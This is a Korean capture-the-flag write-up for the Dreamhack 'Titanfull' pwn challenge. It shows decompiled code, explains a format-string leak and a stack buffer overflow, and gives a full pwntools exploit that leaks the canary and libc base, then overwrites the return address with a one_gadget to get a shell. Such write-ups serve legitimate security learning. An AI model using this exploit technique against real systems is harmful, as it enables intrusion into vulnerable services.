dreamhack - Titanfull writeup
[dreamhack] Titanfull writeup
1. 문제
Titanfull
제작자가 어느 게임에 감명받아 만든 프로그램입니다.
취약점을 찾아 플레그를 얻으세요!
2. 풀이
void __noreturn menu()
{
int v0; // [rsp+Ch] [rbp-54h] BYREF
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("-----------------------------------------------------------------------");
puts(&byte_2108);
puts(&byte_21E0);
puts(&byte_22B8);
puts(&byte_2390);
puts(&byte_2468);
puts(&byte_2540);
puts("-----------------------------------------------------------------------");
write(1, "What your name pilot? > ", 0x18uLL);
read(0, buf, 0x30uLL);
printf("hello, ");
printf(buf);
while ( 1 )
{
do
{
while ( 1 )
{
puts("1. Titan select");
puts("2. Lunch Titan");
puts("3. exit");
printf("> ");
__isoc99_scanf("%d", &v0);
if ( v0 != 7274 )
break;
if ( check != 1 )
vanguard();
else
puts("You already select titan!");
}
}
while ( v0 > 7274 );
if ( v0 == 3 )
break;
if ( v0 <= 3 )
{
if ( v0 == 1 )
{
if ( check != 1 )
select_titan();
else
puts("You already select titan!");
}
else if ( v0 == 2 )
{
if ( check )
{
printf("Standby for titanfall!");
exit(0);
}
puts("Plese select titan!");
}
}
}
exit(0);
}
unsigned __int64 vanguard()
{
char v1[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("You selected RSR vanguard class titan!");
printf("Please enter the name of titan : ");
__isoc99_scanf("%s", v1);
check = 1;
return __readfsqword(0x28u) ^ v2;
}
int select_titan()
{
int result; // eax
int i; // [rsp+Ch] [rbp-44h]
__int64 v2[8]; // [rsp+10h] [rbp-40h]
v2[7] = 0LL;
v2[0] = (__int64)&unk_2008;
v2[1] = (__int64)"Scorch";
v2[2] = (__int64)"Northstar";
v2[3] = (__int64)"Ronin";
v2[4] = (__int64)"Tone";
v2[5] = (__int64)"Legion";
v2[6] = (__int64)"Monarch";
for ( i = 1; i <= 7; ++i )
printf("%d. %s\n", (unsigned int)i, (const char *)v2[i - 1]);
printf("select titan: ");
__isoc99_scanf("%d", &titan);
if ( titan > 0 && titan <= 7 )
{
result = printf("You select %s.\n", (const char *)v2[titan - 1]);
}
else
{
puts("Invalid input.");
result = select_titan();
}
check = 1;
return result;
}
titan을 선택해서 발진시키는 간단해보이는 프로그램이다.
먼저, main 함수 중간에 printf(buf);를 하면서 fsb 취약점이 존재한다.
그리고 7274를 입력하면 vanguard함수로 들어가는데 이때 제한없이 string형식으로 받게 되면서 bof 취약점도 존재한다.
일단 fsb 취약점이 있기 때문에 최대한 스택에서 얻을수있는걸 얻어보자.
p.sendafter(b"> ", b"%17$p.%21$p.%16$p.aaaa")
p.recvuntil(b"hello, ")
tmp = p.recvuntil(b".aaaa").split(b".")
print(tmp)
canary = int(tmp[0], 16)
__libc_main_ret_243 = int(tmp[1], 16)
libcbase = __libc_main_ret_243 - 243 - 0x23f90
print(hex(libcbase))
#buf_stack = int(tmp[2], 16) - 0x50
17번째가 canary, 21번째가 libc_main_ret, 16번째가 buf 주소를 알아낼 수 있는 단서인데 사실 마지막 buf는 불필요했다.
그리고 이제 얻을건 다 얻었으니 바로 vanguard함수로 가서 one_gadget으로 리턴주소를 적절하게 덮어주자.
최종 exploit은 아래와 같다.
from pwn import *
#p = process("./titanfull")
p = remote("host1.dreamhack.games", 20724)
elf = ELF("./libc-2.31.so")
p.sendafter(b"> ", b"%17$p.%21$p.%16$p.aaaa")
p.recvuntil(b"hello, ")
tmp = p.recvuntil(b".aaaa").split(b".")
print(tmp)
canary = int(tmp[0], 16)
__libc_main_ret_243 = int(tmp[1], 16)
libcbase = __libc_main_ret_243 - 243 - 0x23f90
print(hex(libcbase))
#buf_stack = int(tmp[2], 16) - 0x50
#og = libcbase + 0xe3afe
og = libcbase + 0xe3b01
#og = libcbase + 0xe3b04
print(hex(og))
ret = libcbase + 0x000000000000101a
p.sendlineafter(b"> ", b"7274")
payload = b"a" * 0x18
payload += p64(canary)
payload += b"b" * 8
#payload += p64(ret)
payload += p64(og)
#input()
p.sendlineafter(b"Please enter the name of titan : ", payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/Titanfull$ python3 e_titanfull.py
[+] Starting local process './titanfull': pid 3509419
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Titanfull/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[b'0xff8a7afc5f36ee00', b'0x7b8b97974083', b'(nil)', b'aaaa']
0x7b8b97950000
0x7b8b97a33b01
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
해결~